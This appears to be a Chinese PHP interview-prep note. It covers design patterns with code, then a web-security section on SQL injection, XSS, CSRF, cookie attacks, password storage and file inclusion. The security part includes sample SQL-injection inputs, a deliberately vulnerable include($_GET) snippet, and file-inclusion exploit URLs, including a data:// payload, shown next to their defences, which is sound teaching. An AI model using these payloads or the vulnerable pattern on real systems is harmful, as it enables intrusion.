使用場景: 一、要求生產惟一序列號。 二、WEB 中的計數器,不用每次刷新都在數據庫里加一次,用單例先緩存起來。 三、建立的一個對象須要消耗的資源過多,好比 I/O 與數據庫的鏈接等。
/** * 單例類 * Singleton.class */ class Singleton { /** * 靜態成品變量 保存全局實例 */ private static $_instance = NULL; /** * 私有化默認構造方法,保證外界沒法直接實例化 */ private function __construct() { } /** * 靜態工廠方法,返還此類的惟一實例 */ public static function getInstance() { if (is_null(self::$_instance)) { self::$_instance = new Singleton(); // 或者這樣寫 // self::$_instance = new self(); } return self::$_instance; } /** * 防止用戶克隆實例 */ public function __clone(){ die('Clone is not allowed.' . E_USER_ERROR); } /** * 測試用方法 */ public function test() { echo 'Singleton Test OK!'; } } /** * 客戶端 */ class Client { /** * Main program. */ public static function main() { $instance = Singleton::getInstance(); $instance->test(); } } Client::main();
工廠模式(重點)
意圖:定義一個建立對象的接口,讓其子類本身決定實例化哪個工廠類,工廠模式使其建立過程延遲到子類進行。
主要解決:主要解決接口選擇的問題。
什麼時候使用:咱們明確地計劃不一樣條件下建立不一樣實例時。
如何解決:讓其子類實現工廠接口,返回的也是一個抽象的產品。
關鍵代碼:建立過程在其子類執行。
應用實例: 一、您須要一輛汽車,能夠直接從工廠裏面提貨,而不用去管這輛汽車是怎麼作出來的,以及這個汽車裏面的具體實現。 二、Hibernate 換數據庫只需換方言和驅動就能夠。
優勢: 一、一個調用者想建立一個對象,只要知道其名稱就能夠了。 二、擴展性高,若是想增長一個產品,只要擴展一個工廠類就能夠。 三、屏蔽產品的具體實現,調用者只關心產品的接口。
缺點:每次增長一個產品時,都須要增長一個具體類和對象實現工廠,使得系統中類的個數成倍增長,在必定程度上增長了系統的複雜度,同時也增長了系統具體類的依賴。這並非什麼好事。
使用場景: 一、日誌記錄器:記錄可能記錄到本地硬盤、系統事件、遠程服務器等,用戶能夠選擇記錄日誌到什麼地方。 二、數據庫訪問,當用戶不知道最後系統採用哪一類數據庫,以及數據庫可能有變化時。 三、設計一個鏈接服務器的框架,須要三個協議,"POP3"、"IMAP"、"HTTP",能夠把這三個做爲產品類,共同實現一個接口。
注意事項:做爲一種建立類模式,在任何須要生成複雜對象的地方,均可以使用工廠方法模式。有一點須要注意的地方就是複雜對象適合使用工廠模式,而簡單對象,特別是只須要經過 new 就能夠完成建立的對象,無需使用工廠模式。若是使用工廠模式,就須要引入一個工廠類,會增長系統的複雜度。
<?php header('Content-type:text/html;charset=utf-8'); /* *工廠方法模式 */ /** * Interface people 人類 */ interface people { public function say(); } /** * Class man 繼承people的男人類 */ class man implements people { // 實現people的say方法 function say() { echo '我是男人-hi<br>'; } } /** * Class women 繼承people的女人類 */ class women implements people { // 實現people的say方法 function say() { echo '我是女人-hi<br>'; } } /** * Interface createPeople 建立人物類 * 注意:與上面簡單工廠模式對比。這裏本質區別在於,此處是將對象的建立抽象成一個接口。 */ interface createPeople { public function create(); } /** * Class FactoryMan 繼承createPeople的工廠類-用於實例化男人類 */ class FactoryMan implements createPeople { // 建立男人對象(實例化男人類) public function create() { return new man(); } } /** * Class FactoryMan 繼承createPeople的工廠類-用於實例化女人類 */ class FactoryWomen implements createPeople { // 建立女人對象(實例化女人類) function create() { return new women(); } } /** * Class Client 操做具體類 */ class Client { // 具體生產對象並執行對象方法測試 public function test() { $factory = new FactoryMan(); $man = $factory->create(); $man->say(); $factory = new FactoryWomen(); $man = $factory->create(); $man->say(); } } // 執行 $demo = new Client; $demo->test();
觀察者模式(重點)
當對象間存在一對多關係時,則使用觀察者模式(Observer Pattern)。好比,當一個對象被修改時,則會自動通知它的依賴對象。觀察者模式屬於行爲型模式。
意圖:定義對象間的一種一對多的依賴關係,當一個對象的狀態發生改變時,全部依賴於它的對象都獲得通知並被自動更新。
主要解決:一個對象狀態改變給其餘對象通知的問題,並且要考慮到易用和低耦合,保證高度的協做。
什麼時候使用:一個對象(目標對象)的狀態發生改變,全部的依賴對象(觀察者對象)都將獲得通知,進行廣播通知。
如何解決:使用面向對象技術,能夠將這種依賴關係弱化。
關鍵代碼:在抽象類裏有一個 ArrayList 存放觀察者們。
應用實例: 一、拍賣的時候,拍賣師觀察最高標價,而後通知給其餘競價者競價。 二、西遊記裏面悟空請求菩薩降服紅孩兒,菩薩灑了一地水招來一個老烏龜,這個烏龜就是觀察者,他觀察菩薩灑水這個動做。
優勢: 一、觀察者和被觀察者是抽象耦合的。 二、創建一套觸發機制。
缺點: 一、若是一個被觀察者對象有不少的直接和間接的觀察者的話,將全部的觀察者都通知到會花費不少時間。 二、若是在觀察者和觀察目標之間有循環依賴的話,觀察目標會觸發它們之間進行循環調用,可能致使系統崩潰。 三、觀察者模式沒有相應的機制讓觀察者知道所觀察的目標對象是怎麼發生變化的,而僅僅只是知道觀察目標發生了變化。
使用場景:
一個抽象模型有兩個方面,其中一個方面依賴於另外一個方面。將這些方面封裝在獨立的對象中使它們能夠各自獨立地改變和複用。
一個對象的改變將致使其餘一個或多個對象也發生改變,而不知道具體有多少對象將發生改變,能夠下降對象之間的耦合度。
一個對象必須通知其餘對象,而並不知道這些對象是誰。
須要在系統中建立一個觸發鏈,A對象的行爲將影響B對象,B對象的行爲將影響C對象……,能夠使用觀察者模式建立一種鏈式觸發機制。
在PHP SPL中已經提供SplSubject和SqlOberver接口,源碼以下:
/** * The <b>SplSubject</b> interface is used alongside * <b>SplObserver</b> to implement the Observer Design Pattern. * @link http://php.net/manual/en/class.splsubject.php */ interface SplSubject { /** * Attach an SplObserver * @link http://php.net/manual/en/splsubject.attach.php * @param SplObserver $observer <p> * The <b>SplObserver</b> to attach. * </p> * @return void * @since 5.1.0 */ public function attach (SplObserver $observer); /** * Detach an observer * @link http://php.net/manual/en/splsubject.detach.php * @param SplObserver $observer <p> * The <b>SplObserver</b> to detach. * </p> * @return void * @since 5.1.0 */ public function detach (SplObserver $observer); /** * Notify an observer * @link http://php.net/manual/en/splsubject.notify.php * @return void * @since 5.1.0 */ public function notify (); } /** * The <b>SplObserver</b> interface is used alongside * <b>SplSubject</b> to implement the Observer Design Pattern. * @link http://php.net/manual/en/class.splobserver.php */ interface SplObserver { /** * Receive update from subject * @link http://php.net/manual/en/splobserver.update.php * @param SplSubject $subject <p> * The <b>SplSubject</b> notifying the observer of an update. * </p> * @return void * @since 5.1.0 */ public function update (SplSubject $subject); }
寫代碼實現以上兩個接口並測試:
<?php header('Content-type:text/html;charset=utf-8'); /** * Class Subject 主題 */ class Subject implements SplSubject { private $_observers = []; /** * 實現添加觀察者方法 * * @param SplObserver $observer */ public function attach(SplObserver $observer) { if (!in_array($observer, $this->_observers)) { $this->_observers[] = $observer; } } /** * 實現移除觀察者方法 * * @param SplObserver $observer */ public function detach(SplObserver $observer) { if (false !== ($index = array_search($observer, $this->_observers))) { unset($this->_observers[$index]); } } /** * 實現提示信息方法 */ public function notify() { foreach ($this->_observers as $observer) { $observer->update($this); } } /** * 設置數量 * * @param $count */ public function setCount($count) { echo "數據量加" . $count . '<br>'; } /** * 設置積分 * * @param $integral */ public function setIntegral($integral) { echo "積份量加" . $integral . '<br>'; } } /** * Class Observer1 觀察者一 */ class Observer1 implements SplObserver { public function update(SplSubject $subject) { $subject->setCount(10); } } /** * Class Observer2 觀察者二 */ class Observer2 implements SplObserver { public function update(SplSubject $subject) { $subject->setIntegral(10); } } /** * Class Client 客戶端 */ class Client { /** * 測試方法 */ public static function test() { // 初始化主題 $subject = new Subject(); // 初始化觀察者一 $observer1 = new Observer1(); // 初始化觀察者二 $observer2 = new Observer2(); // 添加觀察者一 $subject->attach($observer1); // 添加觀察者二 $subject->attach($observer2); // 消息提示 $subject->notify();//輸出:數據量加1 積份量加10 // 移除觀察者一 $subject->detach($observer1); // 消息提示 $subject->notify();//輸出:數據量加1 積份量加10 積份量加10 } } // 執行測試 Client::test();
我的讀代碼理解:把觀察者添加進主題的觀察者數組中,主題的發消息方法的本質是調用觀察者的接收消息的方法,而接收消息的方法中又調用主題的要實現變化的方法,來實現觀察者隨主題而變。
依賴注入(重點)
原文連接
依賴注入(Dependency Injection)是控制反轉(Inversion of Control)的一種實現方式。
咱們先來看看什麼是控制反轉。
當調用者須要被調用者的協助時,在傳統的程序設計過程當中,一般由調用者來建立被調用者的實例,但在這裏,建立被調用者的工做再也不由調用者來完成,而是將被調用者的建立移到調用者的外部,從而反轉被調用者的建立,消除了調用者對被調用者建立的控制,所以稱爲控制反轉。
要實現控制反轉,一般的解決方案是將建立被調用者實例的工做交由 IoC 容器來完成,而後在調用者中注入被調用者(經過構造器/方法注入實現),這樣咱們就實現了調用者與被調用者的解耦,該過程被稱爲依賴注入。
依賴注入不是目的,它是一系列工具和手段,最終的目的是幫助咱們開發出鬆散耦合(loose coupled)、可維護、可測試的代碼和程序。這條原則的作法是你們熟知的面向接口,或者說是面向抽象編程。
簡書文章
裝飾器模式
裝飾器模式(Decorator Pattern)容許向一個現有的對象添加新的功能,同時又不改變其結構。這種類型的設計模式屬於結構型模式,它是做爲現有的類的一個包裝。
這種模式建立了一個裝飾類,用來包裝原有的類,並在保持類方法簽名完整性的前提下,提供了額外的功能。
咱們經過下面的實例來演示裝飾器模式的用法。其中,咱們將把一個形狀裝飾上不一樣的顏色,同時又不改變形狀類。
意圖:動態地給一個對象添加一些額外的職責。就增長功能來講,裝飾器模式相比生成子類更爲靈活。
主要解決:通常的,咱們爲了擴展一個類常用繼承方式實現,因爲繼承爲類引入靜態特徵,而且隨着擴展功能的增多,子類會很膨脹。
什麼時候使用:在不想增長不少子類的狀況下擴展類。
如何解決:將具體功能職責劃分,同時繼承裝飾者模式。
關鍵代碼: 一、Component 類充當抽象角色,不該該具體實現。 二、修飾類引用和繼承 Component 類,具體擴展類重寫父類方法。
應用實例: 一、孫悟空有 72 變,當他變成"廟宇"後,他的根本仍是一隻猴子,可是他又有了廟宇的功能。 二、不論一幅畫有沒有畫框均可以掛在牆上,可是一般都是有畫框的,而且其實是畫框被掛在牆上。在掛在牆上以前,畫能夠被蒙上玻璃,裝到框子裏;這時畫、玻璃和畫框造成了一個物體。
優勢:裝飾類和被裝飾類能夠獨立發展,不會相互耦合,裝飾模式是繼承的一個替代模式,裝飾模式能夠動態擴展一個實現類的功能。
缺點:多層裝飾比較複雜。
使用場景: 一、擴展一個類的功能。 二、動態增長功能,動態撤銷。
注意事項:可代替繼承。
代理模式
在代理模式(Proxy Pattern)中,一個類表明另外一個類的功能。這種類型的設計模式屬於結構型模式。
在代理模式中,咱們建立具備現有對象的對象,以便向外界提供功能接口。
意圖:爲其餘對象提供一種代理以控制對這個對象的訪問。
主要解決:在直接訪問對象時帶來的問題,好比說:要訪問的對象在遠程的機器上。在面向對象系統中,有些對象因爲某些緣由(好比對象建立開銷很大,或者某些操做須要安全控制,或者須要進程外的訪問),直接訪問會給使用者或者系統結構帶來不少麻煩,咱們能夠在訪問此對象時加上一個對此對象的訪問層。
什麼時候使用:想在訪問一個類時作一些控制。
如何解決:增長中間層。
關鍵代碼:實現與被代理類組合。
應用實例: 一、Windows 裏面的快捷方式。 二、豬八戒去找高翠蘭結果是孫悟空變的,能夠這樣理解:把高翠蘭的外貌抽象出來,高翠蘭本人和孫悟空都實現了這個接口,豬八戒訪問高翠蘭的時候看不出來這個是孫悟空,因此說孫悟空是高翠蘭代理類。 三、買火車票不必定在火車站買,也能夠去代售點。 四、一張支票或銀行存單是帳戶中資金的代理。支票在市場交易中用來代替現金,並提供對簽發人帳號上資金的控制。 五、spring aop。
優勢: 一、職責清晰。 二、高擴展性。 三、智能化。
缺點: 一、因爲在客戶端和真實主題之間增長了代理對象,所以有些類型的代理模式可能會形成請求的處理速度變慢。 二、實現代理模式須要額外的工做,有些代理模式的實現很是複雜。
使用場景:按職責來劃分,一般有如下使用場景: 一、遠程代理。 二、虛擬代理。 三、Copy-on-Write 代理。 四、保護(Protect or Access)代理。 五、Cache代理。 六、防火牆(Firewall)代理。 七、同步化(Synchronization)代理。 八、智能引用(Smart Reference)代理。
注意事項: 一、和適配器模式的區別:適配器模式主要改變所考慮對象的接口,而代理模式不能改變所代理類的接口。 二、和裝飾器模式的區別:裝飾器模式爲了加強功能,而代理模式是爲了加以控制。
組合模式
組合模式(Composite Pattern),又叫部分總體模式,是用於把一組類似的對象看成一個單一的對象。組合模式依據樹形結構來組合對象,用來表示部分以及總體層次。這種類型的設計模式屬於結構型模式,它建立了對象組的樹形結構。
這種模式建立了一個包含本身對象組的類。該類提供了修改相同對象組的方式。
咱們經過下面的實例來演示組合模式的用法。實例演示了一個組織中員工的層次結構。
意圖:將對象組合成樹形結構以表示"部分-總體"的層次結構。組合模式使得用戶對單個對象和組合對象的使用具備一致性。
主要解決:它在咱們樹型結構的問題中,模糊了簡單元素和複雜元素的概念,客戶程序能夠向處理簡單元素同樣來處理複雜元素,從而使得客戶程序與複雜元素的內部結構解耦。
什麼時候使用: 一、您想表示對象的部分-總體層次結構(樹形結構)。 二、您但願用戶忽略組合對象與單個對象的不一樣,用戶將統一地使用組合結構中的全部對象。
如何解決:樹枝和葉子實現統一接口,樹枝內部組合該接口。
關鍵代碼:樹枝內部組合該接口,而且含有內部屬性 List,裏面放 Component。
應用實例: 一、算術表達式包括操做數、操做符和另外一個操做數,其中,另外一個操做符也能夠是操做數、操做符和另外一個操做數。 二、在 JAVA AWT 和 SWING 中,對於 Button 和 Checkbox 是樹葉,Container 是樹枝。
優勢: 一、高層模塊調用簡單。 二、節點自由增長。
缺點:在使用組合模式時,其葉子和樹枝的聲明都是實現類,而不是接口,違反了依賴倒置原則。
使用場景:部分、總體場景,如樹形菜單,文件、文件夾的管理。
注意事項:定義時爲具體類。
============================安全篇======================================
SQL 注入
解釋:
SQL注入,就是經過把SQL命令插入到Web表單提交或輸入域名或頁面請求的查詢字符串,最終達到欺騙服務器執行惡意的SQL命令。具體來講,它是利用現有應用程序,將(惡意的)SQL命令注入到後臺數據庫引擎執行的能力,它能夠經過在Web表單中輸入(惡意)SQL語句獲得一個存在安全漏洞的網站上的數據庫,而不是按照設計者意圖去執行SQL語句。
經常使用方法(簡單舉例):
以php編程語言、mysql數據庫爲例,介紹一下SQL注入攻擊的構造技巧、構造方法
1.數字注入
在瀏覽器地址欄輸入:learn.me/sql/article.php?id=1,這是一個get型接口,發送這個請求至關於調用一個查詢語句:
$sql = "SELECT * FROM article WHERE id =",$id
正常狀況下,應該返回一個id=1的文章信息。那麼,若是在瀏覽器地址欄輸入:learn.me/sql/article.php?id=-1 OR 1 =1,這就是一個SQL注入攻擊了,可能會返回全部文章的相關信息。爲何會這樣呢?
這是由於,id = -1永遠是false,1=1永遠是true,全部整個where語句永遠是ture,因此where條件至關於沒有加where條件,那麼查詢的結果至關於整張表的內容
2.字符串注入
有這樣一個用戶登陸場景:登陸界面包括用戶名和密碼輸入框,以及提交按鈕。輸入用戶名和密碼,提交。
這是一個post請求,登陸時調用接口learn.me/sql/login.html,首先鏈接數據庫,而後後臺對post請求參數中攜帶的用戶名、密碼進行參數校驗,即sql的查詢過程。假設正確的用戶名和密碼爲user和pwd123,輸入正確的用戶名和密碼、提交,至關於調用瞭如下的SQL語句:
SELECT * FROM user WHERE username = 'user' ADN password = 'pwd123'
因爲用戶名和密碼都是字符串,SQL注入方法即把參數攜帶的數據變成mysql中註釋的字符串。mysql中有2種註釋的方法:
1)'#':'#'後全部的字符串都會被當成註釋來處理
用戶名輸入:user'#(單引號閉合user左邊的單引號),密碼隨意輸入,如:111,而後點擊提交按鈕。等價於SQL語句:
SELECT * FROM user WHERE username = 'user'#'ADN password = '111'
'#'後面都被註釋掉了,至關於:
SELECT * FROM user WHERE username = 'user'
2)'-- ' (--後面有個空格):'-- '後面的字符串都會被當成註釋來處理
用戶名輸入:user'-- (注意--後面有個空格,單引號閉合user左邊的單引號),密碼隨意輸入,如:111,而後點擊提交按鈕。等價於SQL語句:
SELECT * FROM user WHERE username = 'user'-- 'AND password = '111' SELECT * FROM user WHERE username = 'user'-- 'AND password = '1111'
'-- '後面都被註釋掉了,至關於:
SELECT * FROM user WHERE username = 'user'
所以,以上兩種狀況可能輸入一個錯誤的密碼或者不輸入密碼就可登陸用戶名爲'user'的帳號,這是十分危險的事情。
防範方法:
使用參數化的過濾性語句
要防護SQL注入,用戶的輸入就絕對不能直接被嵌入到SQL語句中。偏偏相反,用戶的輸入必須進行過濾,或者使用參數化的語句。參數化的語句使用參數而不是將用戶輸入嵌入到語句中。在多數狀況中,SQL語句就得以修正。而後,用戶輸入就被限於一個參數。
輸入驗證
檢查用戶輸入的合法性,確信輸入的內容只包含合法的數據。數據檢查應當在客戶端和服務器端都執行之因此要執行服務器端驗證,是爲了彌補客戶端驗證機制脆弱的安全性。
在客戶端,攻擊者徹底有可能得到網頁的源代碼,修改驗證合法性的腳本(或者直接刪除腳本),而後將非法內容經過修改後的表單提交給服務器。所以,要保證驗證操做確實已經執行,惟一的辦法就是在服務器端也執行驗證。你能夠使用許多內建的驗證對象,例如Regular Expression Validator,它們可以自動生成驗證用的客戶端腳本,固然你也能夠插入服務器端的方法調用。若是找不到現成的驗證對象,你能夠經過Custom Validator本身建立一個。
錯誤消息處理
防範SQL注入,還要避免出現一些詳細的錯誤消息,由於黑客們能夠利用這些消息。要使用一種標準的輸入確認機制來驗證全部的輸入數據的長度、類型、語句、企業規則等。
加密處理
將用戶登陸名稱、密碼等數據加密保存。加密用戶輸入的數據,而後再將它與數據庫中保存的數據比較,這至關於對用戶輸入的數據進行了「消毒」處理,用戶輸入的數據再也不對數據庫有任何特殊的意義,從而也就防止了攻擊者注入SQL命令。
存儲過程來執行全部的查詢
SQL參數的傳遞方式將防止攻擊者利用單引號和連字符實施攻擊。此外,它還使得數據庫權限能夠限制到只容許特定的存儲過程執行,全部的用戶輸入必須聽從被調用的存儲過程的安全上下文,這樣就很難再發生注入式攻擊了。
使用專業的漏洞掃描工具
攻擊者們目前正在自動搜索攻擊目標並實施攻擊,其技術甚至能夠輕易地被應用於其它的Web架構中的漏洞。企業應當投資於一些專業的漏洞掃描工具,如大名鼎鼎的Acunetix的Web漏洞掃描程序等。一個完善的漏洞掃描程序不一樣於網絡掃描程序,它專門查找網站上的SQL注入式漏洞。最新的漏洞掃描程序能夠查找最新發現的漏洞。
確保數據庫安全
鎖定你的數據庫的安全,只給訪問數據庫的web應用功能所需的最低的權限,撤銷沒必要要的公共許可,使用強大的加密技術來保護敏感數據並維護審查跟蹤。若是web應用不須要訪問某些表,那麼確認它沒有訪問這些表的權限。若是web應用只須要只讀的權限,那麼就禁止它對此表的 drop 、insert、update、delete 的權限,並確保數據庫打了最新補丁。
安全審評
在部署應用系統前,始終要作安全審評。創建一個正式的安全過程,而且每次作更新時,要對全部的編碼作審評。開發隊伍在正式上線前會作很詳細的安全審評,而後在幾周或幾個月以後他們作一些很小的更新時,他們會跳過安全審評這關, 「就是一個小小的更新,咱們之後再作編碼審評好了」。請始終堅持作安全審評。
XSS 與 CSRF
XSS介紹,簡書原文(敘述和舉例比較通俗易懂)
xss 跨站腳本攻擊(Cross Site Scripting),爲了避免和層疊樣式表(Cascading Style Sheets,CSS)縮寫混淆,因此將跨站腳本攻擊縮寫爲xss。
xss是什麼
xss就是攻擊者在web頁面插入惡意的Script代碼,當用戶瀏覽該頁之時,嵌入其中web裏面的Script代碼會被執行,從而達到惡意攻擊用戶的特殊目的。
反射型XSS,是最經常使用的,使用最廣的一種方式。經過給別人發送有惡意腳本代碼參數的URL,當URL地址被打開時,特有的惡意代碼參數唄HTML解析、執行。
它的特色:是非持久化,必須用戶點擊帶有特定參數的連接才能引發。
存儲型的攻擊腳本被存儲到了數據庫或者文件中,服務端在讀取了存儲的內容回顯了。就是存儲型。這種狀況下用戶直接打開正常的頁面就會看到被注入
CSRF介紹,簡書原文
1、CSRF是什麼
CSRF全稱爲跨站請求僞造(Cross-site request forgery),是一種網絡攻擊方式,也被稱爲 one-click attack 或者 session riding。
2、CSRF攻擊原理
CSRF攻擊利用網站對於用戶網頁瀏覽器的信任,挾持用戶當前已登錄的Web應用程序,去執行並不是用戶本意的操做。
3、常見預防方法
referer 驗證
根據HTTP協議,在http請求頭中包含一個referer的字段,這個字段記錄了該http請求的原地址.一般狀況下,執行轉帳操做的post請求www.bank.com/transfer.php應該是點擊www.bank.com網頁的按鈕來觸發的操做,這個時候轉帳請求的referer應該是www.bank.com.而若是黑客要進行csrf攻擊,只能在本身的網站www.hacker.com上僞造請求.僞造請求的referer是www.hacker.com.因此咱們經過對比post請求的referer是否是www.bank.com就能夠判斷請求是否合法.
這種方式驗證比較簡單,網站開發者只要在post請求以前檢查referer就能夠,可是因爲referer是由瀏覽器提供的.雖然http協議有要求不能篡改referer的值.可是一個網站的安全性絕對不能交由其餘人員來保證.
token 驗證
從上面的樣式能夠發現,攻擊者僞造了轉帳的表單,那麼網站能夠在表單中加入了一個隨機的token來驗證.token隨着其餘請求數據一塊兒被提交到服務器.服務器經過驗證token的值來判斷post請求是否合法.因爲攻擊者沒有辦法獲取到頁面信息,因此它沒有辦法知道token的值.那麼僞造的表單中就沒有該token值.服務器就能夠判斷出這個請求是僞造的.
另一篇舉例豐富的博客
一篇防禦方法比較全面的介紹
輸入過濾
原文連接
Web的攻擊,大部分是來自於外部,如Url上添加一些字段注入($_GET輸入),表單的提交注入(通常爲$_POST),因此在接收數據時對數據進行過濾,是頗有必要的。
一. 通常php自帶的過濾方法有:
1.空過濾
trim過濾字符串首尾空格
$name = trim($_POST['name']);
2.標籤過濾 :
strip_tags會將字符串中的php標籤(<?php ?>)Html標籤(<h1></h1><script></script>....等)移除。必定程序上阻止了惡意注入。
//for example:$_POST['name'] = "<script>alert('hehe');</script>";var_dump($_POST['name']);//彈出信息框 'hehe'$name = strip_tags($_POST['name']);var_dump($name); //string(14) "alert('hehe');"
3.轉數據類型
若知道要接收的數據是整形或浮點形,能夠直接轉數據類型。
//轉整形 $number = intval($_POST['number']);$price = floatval($_POST['price']);
4.移除xss攻擊(跨站腳本攻擊)
xss攻擊有時會把標籤轉換成其餘數據,strip_tags防止不了,
ThinkPHP中有個remove_xss方法,能夠將大部分xss攻擊阻止。這方法在 ./ThinkPHP/Extend/Function/extend.php中,爲了方便使用,能夠放到項目的common.php裏。
調用時以下
$name = remove_xss($_POST['name']);
5.保存文章內容類轉義
使用kindeditor之類的內容編輯器時,由於提交到後臺時是以Html形式提交的,並且須要保存到數據庫,爲了防止sql注入,須要在進數據庫前進行特殊字符轉義,這時用過濾標籤的方法或各種的方法都不適合。只能對標籤和特殊符號進行轉義,這時使用到的方法是addslashes。
addslashes在使用前先檢查一下,php是否自動開啓了自動轉義。用get_magic_quotes_gpc()方法判斷,若是已開,則是true,否爲false。
if(!get_magic_quotes_gpc()){
$content = addslashes($_POST['content']);
}else{
$content= $_POST['content'];
}
這樣就完成了轉義,然而在展現頁面,從數據庫拿出來的內容是通過轉義的html,若是直接展現,html標籤等都識別不到,會直接輸出轉義過的字符串。這時須要用反轉義來還原數據。以下
echo stripslashes($content);
Laravel學院的關於php安全的三篇文章
============================過濾篇========驗證篇==========轉義篇==================================
Cookie 安全
掘金文章
Csdn一篇博客(下面摘要)
1. Cookie 泄漏(欺騙)
以下圖,cookie在http協議中是明文傳輸的,而且直接附在http報文的前面,因此只要在網絡中加個嗅探工具,獲取http包,就能夠分析並得到cookie的值。
此時,當咱們獲取到別人的cookie的值,就產生了一種攻擊漏洞,即cookie欺騙。咱們將獲取到的cookie值加在http請求前,服務器就會把咱們看成是該cookie的用戶,咱們就成功的冒充了其餘用戶,能夠使用其餘用戶在服務器的資源等。
既然明文cookie不安全,那麼咱們就使用加密傳輸cookie。這樣即便數據包被截取,cookie也不會被泄漏。把http協議改爲加密的https,以下圖:
可是攻擊者依舊能夠經過社會工程學等等誘使用戶主動訪問在http協議下的服務器,從而獲取明文cookie,所以加密後的cookie依舊不安全。以下圖:用戶先是經過HTTPS訪問了bank.com服務器。然後,攻擊者在網站weibo.com中插入js代碼,該代碼中img指向訪問http下的non.bank.com服務器。攻擊者經過社會工程學誘使用戶去訪問這條連接,當用戶一點擊該連接,就自動訪問non.bank.com,讓服務器給用戶一個cookie。由於cookie同源策略中domain是向上匹配的。因此服務器會將該用戶在bank.com的cookie 也分配給non.bank.com。這時就獲得了bank.com給用戶的cookie就被泄漏了。
在HTTPS也不安全的狀況下,咱們考慮cookie 自身屬性。
Cookie 中有個屬性secure,當該屬性設置爲true時,表示建立的 Cookie 會被以安全的形式向服務器傳輸,也就是隻能在 HTTPS 鏈接中被瀏覽器傳遞到服務器端進行會話驗證,若是是 HTTP 鏈接則不會傳遞該cookie信息,因此不會被竊取到Cookie 的具體內容。就是隻容許在加密的狀況下將cookie加在數據包請求頭部,防止cookie被帶出來。
另外一個是 HttpOnly屬性,若是在Cookie中設置了"HttpOnly"屬性,那麼經過程序(JS腳本、Applet等)將沒法讀取到Cookie信息,這樣能有效的防止XSS攻擊。
secure屬性是防止信息在傳遞的過程當中被監聽捕獲後信息泄漏,HttpOnly屬性的目的是防止程序獲取cookie後進行攻擊。
可是這兩個屬性並不能解決cookie在本機出現的信息泄漏的問題(FireFox的插件FireBug能直接看到cookie的相關信息)。
2. Cookie 注入\覆蓋
Cookie 欺騙是攻擊者登陸的是受害者的身份。而Cookie 注入是認證爲攻擊者的攻擊方式,受害者登陸的是攻擊者的身份。
Cookie注入簡單來講就是利用Cookie而發起的注入攻擊。從本質上來說,Cookie注入與通常的注入(例如,傳統的SQL注入)並沒有不一樣,二者都是針對數據庫的注入,只是表現形式上略有不一樣。Cookie 注入就是將提交的參數以cookie的方式提交。而通常的注入是使用get和post方式提交。Get方式提交就是直接在網址以後加需注入的內容,而post 是通過表單提取的方式。Post和get不一樣就在於,get方式咱們能夠在ie地址欄看到咱們提交的參數,而post 不能。
在 ASP 腳本中 Request 對象是用戶與網站數據交互之中很是關鍵的點,Request 對象 獲取客戶端提交數據經常使用的 GET 和 POST 兩種方式,同時能夠不經過集合來獲取數據,即直接用「request(「name」)」等。
相對post和get方式注入來講,cookie注入就要稍微繁瑣,要進行cookie注入,咱們首先就要修改cookie,這裏就須要使用到Javascript語言。另外cookie注入的造成有兩個必須條件: 條件1是程序對get和post方式提交的數據進行了過濾,但未對cookie方式提交的數據庫進行過濾;條件2是在條件1的基礎上還須要程序對提交數據獲取方式是直接request("xxx")的方式,未指明使用request對象的具體方法進行獲取。
Cookie 注入 從技術手段來說,比較有技術含量。若是隻是簡單的注入,例如,讓受害者登陸攻擊者的郵箱,那麼只要攻擊者查看郵箱的信件就會發現異常,容易被發現。那麼這種狀況下,就須要進行精準的攻擊。例如攻擊」一個網頁「中的一個組成界面,替換「一次http行爲」中的某些階段行爲。精確攻擊將在下文cookie慣性思惟中細講,這裏很少作描述。精確攻擊就很難被發現,極爲隱蔽。
以下圖,用戶先是用HTTPS的方式訪問bank.com,然後,咱們讓用戶使用HTTP的方式來訪問non.bank.com,這時咱們能獲得一個cookie ,攻擊者此時就能夠將該明文cookie 替換成攻擊者attack的cookie。在domain 向上匹配的同源策略下和cookie 優先級的狀況下,訪問non.bank.com時獲得的cookie 會更優先,這時用戶經過https訪問bank.com時,就會使用attack優先級更高的cookie。
禁用 mysql_ 系函數
在php.ini配置文件中,找到disable_functions = 一行,將要禁用的函數名稱做爲該屬性的值,多個函數用半角逗號隔開
數據庫存儲用戶密碼時,應該是怎麼作才安全
Csdn博客
一篇比較全面的敘述
我的總結來講,第一能夠採起第三方可信企業提供的openid服務,本身不存儲用戶帳號信息,也就不用擔憂密碼安全問題,但這樣作的缺點是可能受制於人且對客戶的程序處理不方便;第二就是必定不能直接明文存儲,要加salt一塊存儲,即便加了salt也還須要加密存儲,選擇加密算法時也不能選加密係數低比較容易暴力破解的如md5,sha1,sha256等等,能夠用bcrypt算法。
驗證碼 Session 問題
不太肯定題目想問什麼,僅附上相關性的文章
https://segmentfault.com/q/1010000009724669/a-1020000009725106
http://netsecurity.51cto.com/art/201402/428721.htm
安全的 Session ID (讓即便攔截後,也沒法模擬使用)
簡書:Session安全性分析
Freebuf:瞭解session本質
目錄權限安全
更多應該是指服務器方面的,因爲對linux瞭解不是不少,只能先附上相關文章
https://www.jianshu.com/p/44fe3ec5b704
https://www.anquanke.com/post/id/87011
https://www.cnblogs.com/sochishun/p/7413572.html
包含本地與遠程文件
原文連接
php文件包含函數:
include()
require()
include_once()
require_once()
本地文件包含:
<?php #存在本地文件包含的代碼
include($_GET['test']);
?>
exploit:
包含當前目錄的 lfi.txt(內容爲<?php phpinfo();?>):
跨目錄包含:
http://localhost:81/lfi/lfi.php?test=../lfi.txt #包含上層目錄的lfi.txt文件
http://localhost:81/lfi/lfi.php?test=/lfi_in/lfi.txt #包含內層目錄的lfi.txt文件
防護:
防止跨目錄:
在php.ini中設置open_basedir
open_basedir = C:\Program Files\phpStudy\WWW\lfi #限制在當前目錄下(包括子目錄)
open_basedir = C:\Program Files\phpStudy\WWW\lfi\ #限制在當前目錄下(不包括子目錄)
open_basedir可被繞過:wooyun連接
防止本地文件包含:
使用枚舉
$file =$_GET['test'];
switch ($file) {
case 'lfi.txt':
include('./lfi.txt');
break;
default:
include('./notexists.txt');
break;
}
?>
遠程文件包含:
<?php
include($_GET['file'].'txt');
?>
exploit:
http://localhost:81/lfi/rfi.php?file=http://ip_address/php/rfi/rfi.txt?
技巧:?被解釋成url中的querystring,可用來在 遠程文件包含 時 截斷 代碼中後面內容。
防護:
php.ini配置文件裏allow_url_include=off
文件包含利用技巧:
1.遠程文件包含時 利用 data:// (>5.2.0) 或者 input://協議
/rfi.php?file=data:text/plain,<?php%20phpinfo();?>
附:php的安全配置
Register_globals =off
Open_basedir
Allow_url_include =off
Display_errors =off
Log_errors = on
Magic_quotes_gpc =off
Cgi.fix_pathinfo
